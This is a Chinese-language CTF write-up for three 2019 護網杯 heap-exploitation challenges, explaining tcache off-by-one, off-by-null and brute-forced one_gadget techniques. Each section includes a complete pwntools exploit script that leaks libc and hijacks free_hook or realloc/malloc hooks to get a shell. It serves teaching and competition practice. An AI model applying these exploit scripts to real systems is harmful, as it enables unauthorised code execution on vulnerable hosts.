題目地址:https://github.com/hacker-mao/ctf_repo/tree/master/%E6%8A%A4%E7%BD%91%E6%9D%AF2019/pwn
一共4道題,比賽時間太短,賽后花了一天時間弄出3道,繼續(xù)
mergeheap
- libc2.27,典型的tcache題目,程序的漏洞在于off by one

當分配的堆塊占用了下一chunk的pre_size位時,strcpy的時候會將下一chunk的size也復(fù)制,再配合strcat會溢出一個字節(jié)
首先先填滿tcache,為了下一次free時候?qū)湃雞nsorted bin中,然后構(gòu)造4個不和填充tcache的chunk大小一樣的chunk,注意chunk1和chunk2的大小要等于chunk0,為了等下構(gòu)造堆溢出
#填滿tcache
for i in range(7):
add(0x80,str(i))
for i in range(7):
dele(i)
add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

- 接著釋放chunk0,合并chunk1和chunk2到chunk0的位置,并且會觸發(fā)off by one修改chunk1的size為0x91
dele(0)
merge(1,2) #0

- 然后把chunk1 free掉會得到一塊0x90的bins,但由于0x90的tcache事先被填充滿了,所以會放入unsorted bin中,然后我們再分配一塊0x30大小的chunk,libc會從剛剛的unsorted bin中切割一部分,這時候剩下的unsorted bin剛好落入chunk2上,打印chunk2就可以泄漏libc,進而得到free_hook地址和one_gadget地址
dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322

- 緊接著重復(fù)類似上面的操作
#清空unsorted bin
add(0x40,'1')
add(0x68,'aa') #5
add(0x28,'b'*0x38) #6
add(0x40,'d'*0x3f+'\x81') #7
add(0x60,'c') #8

- 依然利用off by one修改chunk_size
dele(5)
merge(6,7) #5

- free 掉chunk6,再free掉chunk7,再malloc一個0x70的chunk就會分配到chunk6的位置,這時候就可以對chunk7進行uaf利用,修改fd指針指向free_hook,然后改為one_gadget
#hijack free_hook -> one_gadget
dele(6)
dele(7)
add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)

完整exp:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./mergeheap')
#p = remote('49.232.101.96',51582)
def sl(x):
p.sendline(x)
def ru(x):
p.recvuntil(x)
def se(x):
p.send(x)
def add(size,content):
ru('>>')
sl('1')
ru('len:')
sl(str(size))
ru('content:')
sl(content)
def show(idx):
ru('>>')
sl('2')
ru('idx:')
sl(str(idx))
def dele(idx):
ru('>>')
sl('3')
ru('idx:')
sl(str(idx))
def merge(idx_1,idx_2):
ru('>>')
sl('4')
ru('idx1:')
sl(str(idx_1))
ru('idx2:')
sl(str(idx_2))
#填滿tcache
for i in range(7):
add(0x80,str(i))
for i in range(7):
dele(i)
add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3
#----------------------------------
dele(0)
merge(1,2) #0
#----------------------------------
dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
#----------------------------------
#清空unsorted bin
add(0x40,'1')
add(0x68,'aa') #5
add(0x28,'b'*0x38) #6
add(0x40,'d'*0x3f+'\x81') #7
add(0x60,'c') #8
#----------------------------------
dele(5)
merge(6,7) #5
#----------------------------------
#hijack free_hook -> one_gadget
dele(6)
dele(7)
add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
#trigger one_gadget
dele(0)
#----------------------------------
#gdb.attach(p)
p.interactive()

silentheap
- 這題主要考驗細心程度吧,漏洞點在dele里。第二次循環(huán)沒有到9,因此假如輸入idx為9,就會直接把ptr[9] free掉,然后把flag[9]置0

- 如果我們將ptr[9]分配一個0x360的堆塊,原先的flag值是2,經(jīng)過dele(9)后,它的值會變成0,這時候執(zhí)行case3的函數(shù)時,將會調(diào)用(ptr[index]+0x554)這個地址的函數(shù),而我們可以通過修改aThouWhoArtDark來構(gòu)造一個地址,相當于任意地址執(zhí)行,但我們不知道one_gadget地址,由于題目是32位的,發(fā)現(xiàn)one_gadget地址每次只會變動2個字節(jié),于是可以爆破2字節(jié)去執(zhí)行one_gadget地址,概率是1/256,試了下還挺快的

#開了alsr運行了幾次的one_gadget地址
0xf75a6c69
0xf754dc69
0xf7570c69
0xf7583c69

exp:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def sl(x):
p.sendline(x)
def ru(x):
p.recvuntil(x)
def se(x):
p.send(x)
def new():
sl('1')
def new_1():
sl('2')
def zhixinghanshu(index,cont1,cont2):
sl('3')
sl(str(index))
sl(cont1)
sl(cont2)
def dele(index):
sl('4')
sl(str(index))
def edit(choice,cont):
sl('5')
sl(str(choice))
sl(cont)
def pwn_it():
for i in range(9):
new()
one_gadget = 0xf75a9c5c
#one_gadget = 0xf7e3fc5c
#fake chunk -> *(ptr[index]+0x55*4)
pay = 'a'*(0x54*4) + p32(one_gadget)
edit(2,pay)
new_1()
dele(9)
#gdb.attach(p)
zhixinghanshu(9,'1','2')
#0xf75a6c69
#0xf754dc69
#0xf7570c69
#0xf7583c69
p.sendline('ls')
p.sendline('ls')
data = p.recv()
if (data):
p.interactive()
if __name__ == '__main__':
while True:
try:
p = process('./silentheap')
pwn_it()
except Exception as e:
p.close()
finally:
p.close()
pwn2
這題與hctf2018的heapstorm zero十分像,所以參考了它的wp之后做出來了
這題漏洞點在于off by null,而且題目限制了chunk只能0x58大小,如果只是 fastbin 的話 off by null 是沒法利用的,但是這里有個小tips,使用 scanf 獲取內(nèi)容時,如果 輸入字符串比較長會調(diào)用 malloc 來分配內(nèi)存。
在 malloc 分配內(nèi)存時,首先會一次掃描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配給用戶 , 會進入 top_chunk 分配的流程, 如果此時還有fastbin ,就會觸發(fā)堆合并機制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的話會使用 top_chunk 進行分配。
于是利用 scanf 能分配大內(nèi)存的特性,我們可以觸發(fā) 堆合并,然后讓 fastbin 合并成一個smallbin , 然后在觸發(fā) off-by-null , 就是常規(guī)的利用思路了。

- 先構(gòu)造好堆的分布,以便后續(xù)利用,其中chunk1,chunk2,chunk3,chunk4的size之和要為0x110為了后續(xù)的off by null操作
add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(8)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留塊, 防止和 top chunk 合并
add_flo(0x30,5,'e')

- 然后釋放chunk1-5,再利用scanf觸發(fā)fastbin合并為small bin,所以現(xiàn)在得到了一塊大小為0x110的small bin
for i in range(1,5):
remove_flo(i)
triger_consolidate()


- 釋放chunk0,再分配chunk0,利用off by null修改chunk1的size為0x100
remove_flo(0)
add_flo(0x58,0,'a'*0x58)


- 通過對small bin的4次切割,再次分配4個chunk
add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')


- 然后我們釋放chunk1,chunk2,并通過scanf讓他們合并為small bin,再通過釋放chunk5與scanf來觸發(fā)unlink機制,通過 extend 前向 overlapping,得到一個包含chunk3和chunk4的大small bin,具體原理可以看http://blog.eonew.cn/archives/546#_free_smallbin_extend

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()


- 由于chunk3之前保留了small bin分配下來的指針,所以通過chunk3泄漏libc,從而得到其他地址
#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']
- 將chunk3,chunk4也釋放,得到兩個fastbin ,通過切割大small bin,使得到的堆塊能夠修改fastbin的fd指針
remove_flo(3)
remove_flo(4)
for i in range(2):
add_flo(0x10,1,'1111')
pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)
pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)



- malloc一個0x30的堆塊會從fastbin中取出,此時fastbin只剩下0x61
add_flo(0x30,2,'2') #消除0x40 fastbin

- 于是我們可以分配堆塊到main_arena中,然后去修改top_chunk到realloc_hook前面
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))
- 接著先分配堆塊清除unsorted bin,然后分配堆塊到realloc_hook,修改realloc_hook 為 one_gadget,malloc_hook為realloc函數(shù)+0x14地址處,通過malloc函數(shù)來觸發(fā)one_gadget
for i in range(3):
add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')
ru('index: ')
sl('0')
- 這里是因為直接改malloc_hook為one_gadget不滿足條件,所以無法getshell,才通過malloc_hook調(diào)用realloc_hook的方法,通過通過改realloc函數(shù)偏移的方法微調(diào)來滿足one_gadget的條件
完整exp
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./pwn 2')
def sl(x):
p.sendline(x)
def ru(x):
p.recvuntil(x)
def se(x):
p.send(x)
def add_flo(size,index,name):
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl(str(size))
ru('index: ')
sl(str(index))
ru(' name:')
se(name)
def remove_flo(index):
ru('choice >> \n')
sl('2')
ru('input idx :')
sl(str(index))
def show_flo(index):
ru('choice >> \n')
sl('3')
ru('Input idx : \n')
sl(str(index))
def triger_consolidate():
ru('choice >> \n')
sl('1'*0x400)
add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(0)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留塊, 防止和 top chunk 合并
add_flo(0x30,5,'e')
#----------------------------
for i in range(1,5):
remove_flo(i)
triger_consolidate()
#----------------------------
remove_flo(0)
add_flo(0x58,0,'a'*0x58)
#----------------------------
add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')
#----------------------------
remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()
#----------------------------
#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']
#----------------------------
remove_flo(3)
remove_flo(4)
for i in range(2):
add_flo(0x10,1,'1111')
pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)
pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)
#----------------------------
add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))
#----------------------------
for i in range(3):
add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)
#----------------------------
#gdb.attach(p)
#trigger one_gadget
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')
ru('index: ')
sl('0')
p.interactive()
